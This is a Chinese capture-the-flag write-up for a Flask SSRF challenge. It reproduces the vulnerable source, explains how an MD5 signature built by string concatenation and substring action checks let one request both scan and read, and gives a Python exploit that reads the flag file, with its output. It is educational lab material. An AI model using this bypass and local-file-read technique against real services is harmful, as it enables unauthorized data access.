题目链接

0x1 分析

打开页面 得到源码 整理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/python
# -*- coding: utf-8 -*-
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip,):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
# SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if 'scan' in self.action:
tmpfile = open('./%s/result.txt' % self.sandbox, 'w')
resp = scan(self.param)
if resp == 'Connection Timeout':
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if 'read' in self.action:
f = open('./%s/result.txt' % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = 'Action Error'
else:
result['code'] = 500
result['msg'] = 'Sign Error'
return result

def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False

# generate Sign For Action Scan.

@app.route('/geneSign', methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get('param', ''))
action = 'scan'
return getSign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get('action'))
param = urllib.unquote(request.args.get('param', ''))
sign = urllib.unquote(request.cookies.get('sign'))
ip = request.remote_addr

if waf(param):
return 'No Hacker!!!!'

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open('code.txt', 'r').read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return 'Connection Timeout'

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check = param.strip().lower()
if check.startswith('gopher') or check.startswith('file'):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

三个路由:

  1. / → 展示源码
  2. /geneSign → 根据param生成数字签名
  3. /De1ta → 在cookie中获取action, sign,并get param(过滤了 gopher 和 file ) 然后新建Task并执行task.Exec
    1. 21#根据传入的ip生成沙盒文件夹
    2. 29#根据 param 和 action 检查签名是否有效
    3. 30#如果 action 中有 scan 则执行 83# ,将结果写入 /{sandbox}/result.txt
    4. 40#如果 action 中有 read 则读取 result.txt 并回显

0x2 攻击方法

由于86#urllib.urlopen可以以文件名作为参数打开,尝试scan code.txt然后 read

由于数字签名校验,我们需要先获取sign再向/De1ta发请求 scan方法可以直接通过/geneSign → 63#获取,但是 read 方法不行

且生成需要secret_key(16个随即字节) 不考虑爆破

但同时发现30#40#判断用的是in而不是is 可能有攻击点 尝试拼接

很明显 向/De1ta发请求时 action=readscan 这样既会读又会写 向/geneSign请求时只要在param的末尾加上read 这样生成的sign就和53#生成的sign相同 绕过检测

0x3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

def getSign(dest):
url = 'http://node4.anna.nssctf.cn:28719/geneSign'
data = {'param': dest + 'read'}
return requests.post(url=url, params=data).text

def get_content(dest):
url = 'http://node4.anna.nssctf.cn:28719/De1ta'
data = {'param': dest}
cookies = {'action': 'readscan', 'sign': str(getSign(dest))}
res = requests.post(url=url, params=data, cookies=cookies)
print(res.text)

dst = 'flag.txt'

get_content(dst)
# {"code": 200, "data": "NSSCTF{cbbd7581-79f0-4636-b907-c45578de18f6}\n"}
⬆︎TOP